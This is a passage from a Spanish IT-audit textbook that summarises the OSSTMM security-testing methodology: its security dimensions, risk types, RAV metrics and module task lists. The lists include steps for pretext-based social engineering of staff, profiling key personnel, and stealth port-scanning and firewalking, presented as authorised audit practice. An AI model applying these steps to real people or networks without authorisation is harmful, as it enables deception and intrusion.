Como este es un libro de
divulgación esta ilustración
mostramos todas las
metodologías que hemos y
expuesto de modo resumido
hasta ahora.
No figuran las siguientes
normas ISO31000, ni la ISO
30301 tampoco hemos
incluido la ISO25100 para no
complicar el grafo, aunque
están, dado que representan
la gestión de riesgos, la
gestión de la documentación
y por último la gestión de
proyectos y por último hemos excluido también la 19600 de cumplimiento legal.
Veamos sobre elementos desarrolla su actividad la metodología OSSMT y que
aplicación tiene en el campo práctico de la Auditoria Informática, como de la
Gestión de la Seguridad de la Información.
Página 217 de 430

Ahora que ya conocemos los objetos sobre los que trabaja esta metodología
veamos que se entiende por cada uno de ellos.
1. Búsqueda de Vulnerabilidades: se refiere generalmente a las
comprobaciones automáticas de un sistema o sistemas dentro de una red.
2. Escaneo de la Seguridad: se refiere en general a las búsquedas de
vulnerabilidades que incluyen verificaciones manuales de falsos positivos,
identificación de los puntos débiles de la red y análisis profesional
individualizado.
3. Test de Intrusión: se refiere en general a los proyectos orientados a objetivos
en los cuales dicho objetivo es obtener un trofeo, que incluye ganar acceso
privilegiado con medios pre-condicionales.
4. Evaluación de Riesgo: se refiere a los análisis de seguridad a través de
entrevistas e investigación de nivel medio que incluye la justificación negocios,
las justificaciones legales y las justificaciones específicas de la industria.
5. Auditoría de Seguridad: hace referencia a la inspección manual con
privilegios administrativos del sistema operativo y de los programas de aplicación
del sistema o sistemas dentro de una red o redes.
6. Hacking Ético: se refiere generalmente a los test de intrusión en los cuales el
objetivo es obtener trofeos en la red dentro del tiempo predeterminado de
duración del proyecto.
7. Test de Seguridad y su equivalente militar, Evaluación de Postura, es una
evaluación de riesgo con orientación de proyecto de los sistemas y redes, a
través de la aplicación de análisis profesional mediante escaneos de seguridad
donde la intrusión se usa generalmente para confirmar los falsos positivos y los
falsos negativos dentro del tiempo permitido de duración del proyecto.
Proceso
El proceso de un análisis de seguridad, se concentra en evaluar las siguientes
áreas, que reflejan los niveles de seguridad presentes, siendo estos el ambiente
definido para el análisis de seguridad. Estos son conocidos como las
Dimensiones de Seguridad:
Visibilidad
La visibilidad es lo que puede verse, registrarse, o monitorearse en el nivel de
seguridad con o sin la ayuda de dispositivos electrónicos. Esto incluye, pero no
se limita a, ondas de radio, luz por encima del espectro visible, dispositivos de
comunicación como teléfonos, GSM, email y paquetes de red como TCP/IP.
Página 218 de 430

Acceso
El acceso es el punto de entrada al nivel de seguridad. Un punto de acceso no
requiere ser una barrera física. Esto puede incluir, pero no se limita a, una página
web, una ventana, una conexión de red, ondas de radio, o cualquier cosa cuya
ubicación soporte la definición de casi-público o donde un computador interactúa
con otro por medio de una red. Limitar el acceso significa negar todo excepto lo
que este expresamente permitido financieramente y por buenas prácticas.
Confianza
La confianza es una ruta especializada en relación con el nivel de seguridad. La
confianza incluye la clase y cantidad de autenticación, no-repudio, control de
acceso, contabilización, confidencialidad e integridad entre dos o más factores
dentro del nivel de seguridad.
Autenticación
La autenticación es la medida por la cual cada interacción en el proceso está
privilegiada.
No-repudio
El no-repudio provee garantía que ninguna persona o sistema responsable de la
interacción pueda negar envolvimiento en la misma.
Confidencialidad
La confidencialidad es la certeza que únicamente los sistemas o partes
involucradas en la comunicación de un proceso tengan acceso a la información
privilegiada del mismo.
Privacidad
La privacidad implica que el proceso es conocido únicamente por los sistemas o
partes involucradas.
Autorización
La autorización es la certeza que el proceso tiene una razón o justificación de
negocios y es administrado responsablemente dando acceso permitido a los
sistemas.
Integridad
La integridad es la certeza que el proceso tiene finalidad y que no puede ser
cambiado, continuado, redirigido o reversado sin el conocimiento de los sistemas
o partes involucradas.
Seguridad
La seguridad son los medios por los cuales un proceso no puede dañar otros
sistemas, o procesos incluso en caso de falla total del mismo.
Página 219 de 430

Alarma
La alarma es la notificación apropiada y precisa de las actividades que violan o
intentan violar cualquiera de las dimensiones de la seguridad. En la mayoría de
violaciones de seguridad, la alarma es el único proceso que genera reacción.
Mapa de la Seguridad según OSSMT
El mapa de seguridad es una imagen de la presencia de seguridad. Esta

corresponde al ambiente de un análisis de seguridad y está compuesta por seis
secciones equivalentes a las de este manual. Las secciones se superponen entre
sí y contienen elementos de todas las otras secciones. Un análisis apropiado de
cualquier sección debe incluir los elementos de todas las otras secciones, directa
o indirectamente. Las secciones en este manual son:
1 Seguridad de la Información
2 Seguridad de los Procesos
3 Seguridad en las tecnologías de Internet
4 Seguridad en las Comunicaciones
5 Seguridad Inalámbrica
6 Seguridad Física
Como puede observar hay muchas zonas que interseccionan unas con otras, y
ello siempre está relacionado con la seguridad de los procesos. Por ello nos
parece una metodología interesante cuando estamos acometiendo la realización
de una auditoria de certificación para la ISO 27001.
Lista de Módulos del Mapa de Seguridad
Página 220 de 430

La lista de módulos del mapa de seguridad son los elementos primarios de cada
sección. Cada módulo debe incluir todas las Dimensiones de Seguridad que
están integradas con tareas a ser desarrolladas. Para desarrollar un análisis de
seguridad OSSTMM de una sección particular, todos los módulos de la sección
deben ser desarrollados y aquellos para los que no exista infraestructura y no
pueda ser verificada, debe definirse como NO APLICABLE en la hoja de datos
OSSTM anexa al informe final.
1 Seguridad de la Información
1 Revisión de la Inteligencia Competitiva
2 Revisión de Privacidad
3 Recolección de Documentos
2 Seguridad de los Procesos
1 Testeo de Solicitud
2 Testeo de Sugerencia Dirigida
3 Testeo de las Personas Confiables
3 Seguridad en las tecnologías de Internet
1 Logística y Controles
2 Sondeo de Red
3 Identificación de los Servicios de Sistemas
4 Búsqueda de Información Competitiva
6 Obtención de Documentos
7 Búsqueda y Verificación de Vulnerabilidades
8 Testeo de Aplicaciones de Internet
9 Enrutamiento
10 Testeo de Sistemas Confiados
11 Testeo de Control de Acceso
12 Testeo de Sistema de Detección de Intrusos
13 Testeo de Medidas de Contingencia
14 Descifrado de Contraseña
15 Testeo de Denegación de Servicios
16 Evaluación de Políticas de Seguridad
Página 221 de 430

4 Seguridad en las Comunicaciones

1 Testeo de PBX
2 Testeo del Correo de Voz
3 Revisión del FAX
4 Testeo del Modem
5 Seguridad Inalámbrica
1 Verificación de Radiación Electromagnética (EMR)
2 Verificación de Redes Inalámbricas [802.11]
3 Verificación de Redes Bluetooth
4 Verificación de Dispositivos de Entrada Inalámbricos
5 Verificación de Dispositivos de Mano Inalámbricos
6 Verificación de Comunicaciones sin Cable
7 Verificación de Dispositivos de Vigilancia Inalámbricos
8 Verificación de Dispositivos de Transacción Inalámbricos
9 Verificación de RFID
10 Verificación de Sistemas Infrarrojos
5 Seguridad Física
1 Revisión de Perímetro
2 Revisión de Monitoreo
3 Evaluación de Controles de Acceso
4 Revisión de Respuesta de Alarmas
5 Revisión de Ubicación
6 Revisión de Entorno
Sin menoscabo todas las metodologías vistas, hasta ahora sobre el Análisis de
Riesgo, vamos añadir la propia de OSSTMM, no es ni mejor, ni peor, que las
otras ya vistas que tienen sus propias cuotas de mercado, pero la interpretación
que se hace en OSSTMM, quizás es está más próxima a la compresión de un
lector, no experto en la materia y porqué su estructura, sirve de guía para no
dejarse nada atrás, a la hora de resolver la auditoria.
Página 222 de 430

Evaluación de Riesgo
La evaluación de Riesgo es mantenida por el analista, todos los datos que sean
recopilados sirven de soporte para una evaluación válida por medio de tests no
privilegiados. Esto implica que, si se recopila muy poca información o esta no es
apropiada, puede no ser posible proveer una evaluación de riesgos correcta y el
analista debe basarse en las mejores prácticas, las regulaciones
correspondientes a la industria del cliente, la justificación de negocios del cliente,
la política de seguridad del mismo, y las cuestiones legales para el cliente y su
ambiente de negocios.
Evaluación de Riesgo
El riesgo significa que los límites de la presencia de seguridad tendrán un efecto
perjudicial en la gente, la cultura de información, los procesos, negocios, imagen,
propiedad intelectual, derechos legales o capital intelectual. Este manual
mantiene cuatro dimensiones durante el análisis para minimizar cualquier estado
de riesgo en el ambiente.
1 Seguridad
Todos los tests deben ejecutarse con la precaución necesaria para evitar los
peores escenarios posibles, que impliquen grandes pérdidas. Esto implica que
el analista mantenga por encima de cualquier cosa, el respeto por la seguridad
humana, en la salud física y emocional y ocupacional.
2 Privacidad
Todos los análisis deben ejecutarse manteniendo el derecho a la privacidad
personal sin importar la ley regional. La ética y el entendimiento de la privacidad
son a menudos más avanzados que la legislación actual.
3 Practicidad
Todos los tests deben ser diseñados buscando la mínima complejidad, la
máxima viabilidad y una profunda claridad.
4 Usabilidad
Todos los tests deben permanecer dentro del marco de seguridad útil. Es decir,
lo más seguro es lo menos bienvenido y perdonable. Los tests dentro de este
manual son desarrollados para encontrar un nivel de seguridad útil (también
conocido como seguridad práctica).
Seguridad Perfecta
En evaluación de riesgos, el OSSTM aplica la técnica de "Seguridad Perfecta",
en seguridad perfecta los analistas calibran con el cliente que se puede
considerar seguridad perfecta. Esto se logra con la revisión de postura, que
corresponde a las mejores prácticas, las regulaciones en la industria del cliente,
las justificaciones del negocio, la política de seguridad del cliente y los asuntos
legales para el cliente y las regiones donde el mismo tenga negocios. El
Página 223 de 430

resultado es "Seguridad Perfecta" para el cliente. Los analistas pueden proveer

un análisis comparativo entre el estado actual de seguridad y la "Seguridad
Perfecta"
Mejores prácticas definidas dentro de la teoría hacia una "Seguridad Perfecta".
Servicios y acceso a Internet
• No usar Acceso Remoto no encriptado.
• No usar Acceso Remoto no autenticado.
• Las restricciones deniegan todo y permiten específicos.
• Monitorearlo y registrarlo todo.
• Descentralizar.
• Limitar la confianza entre sistemas.
• Poner en cuarentena las entradas y validarlas.
• Instalar únicamente las aplicaciones / servicios requeridos.
• Dividir capas de seguridad.
• Es mejor ser invisible - mostrar únicamente el servicio, nada más.
• La simplicidad previene los errores de configuración.
Computación Móvil
• Poner en cuarentena todas las redes entrantes y tráfico de Internet.
• No usar Acceso Remoto no encriptado.
• No usar Acceso Remoto no autenticado.
• Encriptación acorde a las necesidades.
• Instalar las aplicaciones y/o servicios necesarios.
• Es mejor invisible - sin servicios ejecutándose.
• Exigir contraseñas en BIOS.
• Entrenamiento en seguridad para aplicar las mejores prácticas y
reconocer los eventos de seguridad es requisito para usuarios y personal
de soporte.
Aplicaciones
• El uso de las características de seguridad debe ser una obligación.
• Asegurar las justificaciones de negocio para todas las entradas y salidas
en una aplicación.
• Validar todas las entradas.
Página 224 de 430

• Limitar confianzas (a sistemas y usuarios).

• Encriptar datos.
• Encriptar los componentes.
• Todas las acciones ocurren del lado del servidor.
• Definir capas de seguridad.
• Es mejor invisible - mostrar únicamente el servicio.
• Accionar alarmas.
Personal
• Autoridad Descentralizada.
• Responsabilidad Personal.
• Seguridad Personal y controles de privacidad.
• Accesible únicamente por medio de gateway personales.
• Entrenamiento en definiciones legales y ética de las políticas de
seguridad.
• Acceso al conocimiento de información e infraestructura limitado.
Valores de la Evaluación de Riesgo

Integrados a cada módulo, se encuentran los Valores de la Evaluación de Riesgo
(RAVs). Estos se definen como la degradación de la seguridad (o elevación del
riesgo) sobre un ciclo de vida específico, basándose en mejores prácticas para
tests periódicos. La asociación de niveles de riesgo con ciclos ha probado ser un
procedimiento efectivo para las métricas de seguridad.
Los conceptos de métrica de seguridad en este manual son para:
• Establecer un ciclo estándar de tiempo para testear y verificar con el fin
de mantener un nivel cuantificable de riesgo basado en la degradación de
la seguridad (o elevación del riesgo) que ocurre naturalmente, con el
tiempo y la habilidad de medir el riesgo con consistencia y detalle ambos
antes y después del análisis
A diferencia de la administración de riesgos convencional, los RAVs operan
puramente en la aplicación de seguridad dentro de una organización. Estos
toman en cuenta los controles tales como procesos, políticas, y procedimientos
al operar en paralelo con la metodología de análisis. Mientras que la metodología
de análisis examina estos controles, algunas veces de manera indirecta, los
controles actuales no le interesan al analista, debido a que es la aplicación de
estos controles la que determina los resultados de un análisis de seguridad.
Página 225 de 430

Una política bien escrita que no sea seguida no tendrá efecto alguno en la
seguridad actual.
Los RAV están definidos matemáticamente por los siguientes factores:
1 Los grados de degradación de cada módulo por separado, según un nivel
óptimo medido de un máximo teórico del 100% para propósitos de administración
de riesgos.
2 El ciclo que determina la máxima longitud de tiempo que se requiere para que
la degradación sea total (llegue a su máximo porcentual) basándose en prácticas
recomendadas de seguridad y consenso.
3 La influencia de otros módulos ejecutados o no.
4 Pesos establecidos por las Dimensiones de Seguridad
5 El tipo de riesgo tal y como se designa por los Tipos de Riesgo OSSTM y si
este ha sido
a Identificado, pero no investigado o con resultados no concluyentes.
b Verificado, con un positivo absoluto o una vulnerabilidad explotada, o
c No aplicable, debido a que no existe porque la infraestructura o
mecanismo de seguridad no se encuentra presente.
Tipos de Riesgos
A pesar que los tipos de riesgo parezcan ser subjetivos, la clasificación de
riesgos en los siguientes tipos, es bastante objetiva al seguir el marco de trabajo
del OSSTMM. Versiones futuras asegurarán su compatibilidad con CVE.
Vulnerabilidad
Una falla inherente en el mecanismo de seguridad mismo o que pueda ser
alcanzada por medio de protecciones de seguridad, permitiendo el acceso
privilegiado a la ubicación, gente, procesos del negocio, y personal o acceso
remoto a los procesos, gente, infraestructura generando datos corruptos o
eliminados.
Una vulnerabilidad puede ser un metal en una puerta que se torna frágil a
temperaturas bajo 0º C, un lector de huellas digitales que permite el acceso con
dedos de goma, un dispositivo infrarrojo que no tiene mecanismos de
autenticación para realizar cambios en la configuración, o un error de traducción
en un servidor web que permite la identificación del propietario de una cuenta
bancaria por medio del número de esta.
Debilidad
Una falla inherente a la plataforma o ambiente en el que el mecanismo de
seguridad reside, una mala configuración, falla de sobrevivencia, falla de
usabilidad, o falla al cumplir los requerimientos de una Política de Seguridad.
Página 226 de 430

Una debilidad puede ser un proceso que no almacena datos transaccionales

durante el tiempo
límite legal, tal y como se establezca en las leyes locales, una alarma de ingreso
que no suena si la puerta ha quedado abierta por un período de tiempo
específico, un cortafuego que devuelve mensajes ICMP de host inalcanzable
para sistemas de red internos, un servidor de base de datos que permite
consultas sin filtrar, una entrada sin monitoreo a un edificio considerado "
seguro".
Filtrado de Información
Una falla inherente en el mecanismo de seguridad mismo, o que puede ser
alcanzada por medio de medidas de seguridad que permiten el acceso
privilegiado a información sensitiva o privilegiada acerca de datos, procesos de
negocio, personal o infraestructura. Una fuga de información puede ser una
cerradura con la combinación disponible por medio de señales audibles de
cambio dentro de los mecanismos de la misma, un enrutador que brinda
información SNMP acerca de la red objetivo, una hoja de cálculo con los salarios
de ejecutivos en una compañía privada, el teléfono celular privado del personal
de mercadeo, un sitio web con información acerca de la próxima revisión del
elevador de la compañía.
Preocupación
Un evento de seguridad que puede resultar al no seguir las practicas
recomendadas de seguridad, y que por el momento no se presente como un
peligro actual. Una preocupación puede ser el servicio FINGERD corriendo en
un servidor de la organización que no requiere el servicio FINGER, una puerta
de entrada vigilada que requiere que el celador deje la puerta para perseguir a
un intruso y no se disponga de un nuevo celador haciendo presencia en la misma
puerta, o empleados que se sientan con sus monitores y tableros visibles desde
el exterior del perímetro de seguridad.
Desconocidos
Un elemento desconocido o sin identificación en el mecanismo de seguridad
mismo, o que puede ser alcanzado a través de las medidas de seguridad y
actualmente no tiene impacto conocido en la seguridad ya que tiende a no tener
sentido o servir ningún propósito con la información limitada que el analista
posea. Un desconocido puede ser una respuesta inesperada posiblemente de
un enrutador en una red, indicando problemas en la misma, una frecuencia de
radio no natural que proviene del perímetro de seguridad sin ofrecer información
o identificación, o una hoja de cálculo con información privada acerca de la
competencia.
La siguiente tabla provee los parámetros para los Valores de la Evaluación de
Riesgos (RAVs)
Página 227 de 430

Secciones y Módulos
La metodología está dividida en secciones,
módulos y tareas. Las secciones son puntos
específicos en el mapa de seguridad que se
sobreponen entre sí y comienzan a descubrir
un todo que es mucho mayor a la suma de
sus partes. Los módulos son el flujo de la
metodología desde un punto de presencia de
seguridad hacia el otro. Cada módulo tiene
una salida y una entrada. La entrada es la
información usada en el desarrollo de cada
tarea. Las salidas es el resultado de las
tareas completadas.
La salida puede o no ser datos analizados (también conocido como inteligencia)
para servir como entrada para otro módulo. Incluso puede ocurrir que la misma
salida sirva como entrada para más de un módulo o sección.
Algunas tareas no brindan resultados, esto significa que existen módulos para
los cuales no hay entrada. Los módulos que no tienen entrada pueden ser
ignorados durante el análisis. El hecho de ignorar módulos no indica
necesariamente un análisis inferior, al contrario, indica un nivel de seguridad
superior.
Los módulos que no tienen salida como resultado, pueden significar una de tres
cosas:
• Las tareas no fueron ejecutadas apropiadamente.
• Las tareas no se aplicaban.
• Las tareas revelaron niveles superiores de seguridad.
• Los datos resultantes de la tarea se analizaron inapropiadamente.
Es vital que la imparcialidad exista al ejecutar las tareas de cada módulo. Buscar
algo que usted no tenga intención de encontrar puede llevarlo a encontrar
exactamente lo que quiere. En esta metodología cada módulo inicia como una
entrada y una salida exactamente por la necesidad de mantener la imparcialidad.
Cada módulo brinda una guía de lo que puede ser revelado para profundizar más
aún en el flujo.
Página 228 de 430
Con la disposición del análisis como un servicio, es altamente importante

indicarle al equipo encargado exactamente que no ha sido, o no será analizado,
de tal forma que se pueda administrar la expectativa y la potencialmente
inapropiada fe en la seguridad del sistema.
La metodología fluye desde el módulo inicial hasta completar el módulo final.
La metodología permite la separación entre recolección de datos y tests de
verificación de y sobre los datos recolectados. El flujo también determina los
puntos precisos de cuando extraer e insertar estos datos.
Al definir la metodología de análisis, es importante no restringir la creatividad del
analista introduciendo estándares excesivamente formales e inflexibles que las
calidades de los tests sufran. Adicionalmente, es importante dejar tareas abiertas
a alguna interpretación donde la definición exacta causará problemas a la
metodología cuando una nueva tecnología sea introducida.
Cada módulo tiene una relación con el inmediatamente anterior y con el
inmediatamente posterior. Cada sección tiene aspectos interrelacionados a otros
módulos y algunos se interrelacionan con todas las otras secciones.
Normalmente, los análisis de seguridad comienzan con una entrada que
corresponde a las direcciones de los sistemas a ser analizados. El análisis de
seguridad finaliza con el inicio de la fase de análisis y la construcción del informe
final. Esta metodología no afecta la forma, tamaño, estilo o contenido del informe
final ni especifica como los datos deben ser analizados. Esto es responsabilidad
del analista de seguridad o la organización.
Las secciones son el modelo total de seguridad dividido en porciones manejables
y analizables. El módulo requiere una entrada para ejecutar las tareas del módulo
y de otros módulos en otras secciones. Las tareas son los tests de seguridad a
ejecutarse dependiendo de la entrada del módulo. Los resultados de las tareas
pueden ser inmediatamente analizados para actuar como un resultado
procesado o se pueden dejar en bruto (sin analizar). De cualquier modo, estos
son considerados la salida del módulo. Esta salida es a menudo la entrada para
el siguiente módulo o en algunos casos, como equipos recién descubiertos;
pueden ser la entrada para un módulo anterior.
El modelo de seguridad completo puede ser dividido en secciones administrables
para las pruebas. Cada sección puede a su vez ser vista como una colección de
módulos de test con cada módulo dividido en un conjunto de tareas.
Página 229 de 430

Módulos
1. Revisión de la Inteligencia Competitiva
La IC es la información recolectada a partir de la presencia en Internet que
puede ser analizada con inteligencia de negocio. A diferencia del robo de
propiedad intelectual encontrada en el hacking o el espionaje industrial,
es que la IC tiende a no ser invasiva y mucho más discreta. Este es un
buen ejemplo de cómo la presencia en Internet se extiende más allá de
los hosts de la DMZ. Utilizar IC en un Test de Intrusión da valor de negocio
a los componentes y puede ayudar a encontrar justificaciones de negocio
para implementar distintos servicios.
1. Realizar un mapa y medir la estructura de directorio de los servidores

web.
2. Realizar un mapa y medir la estructura de directorio de los servidores
de FTP.
3. Examinar la base de datos WHOIS para los servicios de negocio
relacionando los nombres de hosts registrados.
4. Determinar el costo de TI de la infraestructura de Internet basados en
SO, Aplicaciones y Hardware.
5. Determinar el costo de soporte de la infraestructura basado en
requerimientos salariales de los profesionales de TI, puestos de trabajo,
cantidad de personal, Curriculum publicados y responsabilidades.
6. Medir el entusiasmo (respuesta) de la organización basándose en
grupos de noticias, tableros web, y los sitios de respuesta de la industria.
7. Grabar el número de productos que se están vendiendo
electrónicamente (para download)
8. Grabar el número de productos encontrados en orígenes P2P, sitios
wares, cracs disponibles para las versiones, y la documentación tanto
interna como de terceras partes de los productos.
La revisión de privacidad es el punto de vista legal y ético del
almacenamiento, transmisión y control de los datos basados en la
privacidad del cliente y del empleado. El uso de estos datos es la
preocupación de muchas personas privadas y la legislación no da reglas
específicas considerando la privacidad. Aunque algunas de estas leyes
son locales, todas ellas se aplican a la Internet y por lo tanto afecta a los
auditores de seguridad internacionalmente.
Página 230 de 430

1. Comparar públicamente la política accesible con la practica actual

2. Comparar la practica actual con el fraude regional y las leyes de
privacidad o cumplimiento
3. Identificar el tipo y tamaño de la base de datos para el almacenamiento
de los datos.
4. Identificar los datos conseguidos por la organización
5. Identificar la ubicación de almacenamiento de los datos
6. Identificar los tipos de cookies
7. Identificar las fechas de expiración de las cookies
8. Identificar la información almacenada en las cookies
9. Verificar los métodos de encriptación de la cookie
10. Identificar la ubicación del servidor de errores del web
11. Identificar los datos erróneos de la Web devueltos por el servidor.
3. Recolección de Documentos
En este módulo es importante la verificación de la información testeada y
perteneciente a varios niveles de lo que se considera seguridad de la
información. La cantidad de tiempo otorgado para la búsqueda y
extracción de la información es dependiente del tamaño de la
organización, el ámbito del proyecto, y de la longitud de tiempo planeado
para el test. No obstante, mucho tiempo no siempre significa más
información, pero puede eventualmente llevar a partes claves del
rompecabezas de la seguridad.
1. Examinar las bases de datos web y los caches pertenecientes a

objetivos y personal clave de la organización.
2. Investigar personas claves vía páginas personales, curriculums
publicados, afiliaciones organizacionales, información de directorios,
datos de compañías, y el registro electoral.
Página 231 de 430

3. Recopilar direcciones de email de la organización y direcciones

personales de personas claves.
4. Buscar en las bases de datos laborales por niveles tecnológicos
requeridos necesarios que tiene la organización.
5. Buscar en los grupos de noticias referencias y publicaciones de la
organización y personas claves.
6. Buscar en los documentos códigos ocultos o revisiones de datos.
7. Examinar referencias y publicación de redes P2P de la organización y
personas claves.
2 Seguridad de los Procesos.
1. Testeo de Solicitud
Este es un método de obtener privilegios de acceso a una organización y
sus activos preguntando al personal de entrada usando las
comunicaciones como un teléfono, e-mail, chat, boletines, etc. desde una
posición “privilegiada” fraudulenta. El personal de entrada es quienes
tienen la autoridad para dar privilegios de acceso a otros.
1. Seleccionar una persona de entrada desde la información ya

obtenida sobre el personal
2. Examinar los métodos de contacto con la persona de entrada
desde el objetivo de la organización
3. Obtener información acerca de la persona de entrada (posición,
hábitos, preferencias)
4. Contactar la persona de entrada y solicitar información desde
una autoridad o posición privilegiada
5. Obtener información desde la persona de entrada
6. Enumerar cantidad de información privilegiada obtenida
2. Testeo de Sugerencia Dirigida
Este es un método de enumeración y enumeración de puntos de
acceso privilegiados a una organización y sus activos provocando
a hablar mediante los medios de comunicaciones tal como el
teléfono, e-mail, chat, boletines, etc. a una ubicación fuera la
organización desde una posición “privilegiada” fraudulenta. Esta
técnica requiere una “ubicación” para la persona a provocar a
hablar tal como una página web, una dirección de e-mail, etc.
Página 232 de 430

1. Seleccionar una persona o personas a partir de la información

ya obtenida sobre el personal
2. Examinar los métodos de contacto a las personas de la
organización objetivo
3. Invitar a las personas a usar / visitar una ubicación
4. Obtener información de los visitantes
5. Enumerar los tipos y cantidad de información privilegiada
obtenida.
3. Testeo de las Personas Confiables
Este es un método de usar la posición de confianza tales como las
de un empleado, vendedor, socio o hija de un empleado para
inducir a la persona interna a la revelación de información
concerniente a la organización objetivo. Este módulo puede ser
realizado mediante cualquier forma de comunicación o en persona.
1. Seleccionar una persona o personas a partir de la información

ya obtenida sobre el personal
2. Examinar los métodos de contacto a las personas de la
organización objetivo
3. Contactar a la persona interna desde una posición de confianza
4. Obtener información de la persona interna
5. Enumerar los tipos y cantidad de información privilegiada
obtenida.
Aquí se considera interesante y oportuno sería, el momento adecuado dentro de
esta metodología para aplicar, Ingeniería Social, dado que lo que estamos
evaluando, es tanto la fiabilidad de los responsables de control de acceso físico
a las instalaciones, como también verificando las informaciones facilitadas por
otras vías y por personal de la propia organización, incluso de terceros si hay
servicios subcontratados o diferidos.
Vamos a incluir las técnicas de evaluación de accesos a Internet, debiendo tener
presente que aquí no estamos hablando de la aplicación de la metodología
Página 233 de 430

OWASP, dado que esto sería proyecto interno, donde nuestra organización usa
la tecnología Web, como un instrumento de marketing y venta, que no es el caso,
aquí se trata de conocer que tanta permeabilidad tiene nuestra organización
frente atraques externos.
Módulos
1. Logística y Controles
El propósito de este módulo es reducir los falsos positivos y negativos realizando
los ajustes necesarios en las herramientas de análisis.
Comprobaciones de Error
1. Examinar la ruta a la red objetivo en busca de paquetes TCP
perdidos.
2. Examinar la ruta a la red objetivo en busca de paquetes UDP
perdidos.
3. Examinar la ruta a la red objetivo en busca de paquetes ICMP
perdidos.
4. Medir el tiempo utilizado en el recorrido TCP de los paquetes.
5. Medir la latencia TCP a través de conexiones TCP.
6. Medir el porcentaje de paquetes aceptados y respondidos por la
red objetivo.
7. Medir la cantidad de paquetes perdidos o rechazos de conexión
en la red objetivo.
Enrutamiento
8. Examinar el camino de enrutamiento al objetivo desde los
sistemas de ataque.
9. Examinar el camino de enrutamiento para el ISP del objetivo.
10. Examinar el camino de enrutamiento para el Vendedor de
Trafico Principal del ISP objetivo
11. Examinar el uso de Ipv6 para cada uno de los sistemas activos
en la red.
Página 234 de 430

2. Sondeo de Red
El sondeo de red sirve como introducción a los sistemas a ser analizados. Se
podría definir mejor como una combinación de recolección de datos, obtención
de información y política de control. A pesar que a menudo es recomendable
desde un punto de vista legal el definir exactamente y contractualmente los
sistemas a analizar si usted es un auditor externo o aun si es el administrador de
sistemas, puede ser que no pueda empezar con los nombres de sistema o IPs
en concreto. En ese caso es necesario sondear y analizar.
La clave es encontrar el número de sistemas alcanzables que deben ser
analizados, sin exceder los límites legales de lo que se quiere analizar. Por lo
tanto, el sondeo de red es simplemente una forma de empezar un test; otra forma
sería recibir el rango de direcciones IP a comprobar. En este módulo, no se
realiza ningún tipo de intrusión directamente en los sistemas, excepto en los
sitios considerados un dominio cuasi-público.
A pesar de no ser realmente un módulo en la metodología, el sondeo de red es
un punto de partida. Muy a menudo se detectan más hosts durante el test. Hay
que tener en cuenta que los hosts descubiertos posteriormente pueden ser
añadidos en las pruebas como un subconjunto de los sistemas definidos y a
menudo solamente con el permiso o colaboración del equipo de seguridad
interna de la organización a analizar.
Respuestas del Servidor de Nombres.

1. Examinar la información del registro de dominio en busca de servidores.
2. Encontrar el propietario del bloque de direcciones IP.
3. Consultar los servidores de nombres primario, secundario y del ISP en
busca de hosts y subdominios.
4. Encontrar bloques de IPs Ipv6 utilizados a través de consultas a los
DNS.
Examinar la pared externa de la red.
5. Usar múltiples trazas a la puerta de enlace para definir los routers y
segmentos externos de la red.
Examinar pistas de la organización a analizar.
6. Inspeccionar los logs del servidor web y los logs de intrusión en busca
de eventos de los sistemas de la organización a analizar.
7. Inspeccionar mensajes de grupos de noticias y listas de distribución en
busca de eventos de los sistemas de la organización a analizar.
Página 235 de 430

Filtración de información
8. Examinar el código fuente y scripts del servidor web en busca de
servidores de aplicación y enlaces internos.
9. Examinar las cabeceras de los correos electrónicos, los mensajes
devueltos y los destinatarios de las alertas y eventos del sistema de los
servidores.
10. Buscar información sobre la organización a analizar en los grupos de
noticias.
11. Buscar en bases de datos de empleos y en periódicos ofertas de
puestos de trabajo en Tecnologías de la Información dentro de la
organización a analizar, referencias a hardware y software.
11. Buscar en servicios P2P conexiones dentro de la red objetivo y datos

referentes a la organización.
3. Identificación de los Servicios de Sistemas
El escaneo de puertos es la prueba invasiva de los puertos del sistema en los

niveles de transporte y red. También se incluye aquí la validación de la recepción
del sistema a protocolos tunelizados, encapsulados o de enrutamiento. En este
módulo se deben enumerar los servicios de Internet activos o accesibles, así
como traspasar el cortafuego con el objetivo de encontrar más máquinas activas.
La pequeña cantidad de protocolos empleados aquí tiene el objetivo de resultar
en una definición clara de los objetivos. Es por esto que algunos de los protocolos
no aparecen. El testeo de diferentes protocolos dependerá del tipo de sistema y
servicios que ofrecen los sistemas. En la sección Referencias de Testeo aparece
una lista más completa de protocolos.
Cada servidor activo en Internet dispone de 65.536 puertos TCP y UDP posibles
(incluido el Puerto 0). En cualquier caso, no siempre es necesario comprobar
todos estos puertos en cada sistema. Esto se deja a la libre elección del equipo
que realiza los tests. Los puertos que son importantes para el testeo según el
servicio que ofrecen se listan con las tareas del módulo. Otros números de
puertos empleados en los escaneos se deben obtener de bases de datos
consensuadas en webs de proyectos de intrusión tales como www.dshield.org.
Una vez los puertos abiertos han sido identificados, es necesario llevar adelante
un análisis de la aplicación que escucha tras dicho servicio. En algunos casos,
más de una aplicación puede encontrarse detrás de un servicio donde una
aplicación es la que realmente escucha en dicho puerto y las otras se consideran
componentes de la aplicación que escucha. Un buen ejemplo de esto es PERL
que se instaló para ser usado por las aplicaciones web. En este caso, el servicio
que escucha es el demonio HTTP y el componente es PERL.
Tras la identificación de los servicios, el siguiente paso es identificar el sistema

mediante las pruebas sobre el sistema con el fin de obtener respuestas que
puedan distinguir su sistema operativo y su versión.
Página 236 de 430

Enumeración de sistemas
1. Recoger respuestas de broadcast desde la red

2. Intentar traspasar el cortafuego con valores estratégicos de
TTLs (Firewalking) para todas las direcciones IP.
3. Emplear ICMP y resolución inversa de nombres con el objetivo
de determinar la existencia de todos los sistemas en la red.
4. Emplear paquetes TCP con puerto origen 80 y el bit ACK activo
en los puertos de destino 3100-3150, 1001-10050, 33500-33550 y
50 puertos aleatorios por encima del 35000 para todos los
sistemas de la red.
5. Emplear paquetes TCP fragmentados en orden inverso
mediante escaneos FIN, NULL y XMAS en los puertos destino 21,
22, 25, 80 y 443 para todos los servidores de la red.
6. Usar escaneos TCP SYN sobre los puertos 21, 22, 25, 80 y 443
para todos los servidores de la red.
7. Emplear intentos de conexión a DNS para todos los servidores
de la red.
8. Emplear FTP y Proxies para relanzar los escaneos al interior de
la DMZ para los puertos 22, 81, 111, 132, 137 y 161 para todos
los servidores de la red.
Enumeración de Puertos
9. Usar escaneos SYN TCP (Half-Open) para enumerar puertos

abiertos, cerrados o filtrados para aquellos puertos TCP utilizados
por defecto en el test, en todos los servidores de la red.
10. Usar escaneos TCP full connect para escanear todos los
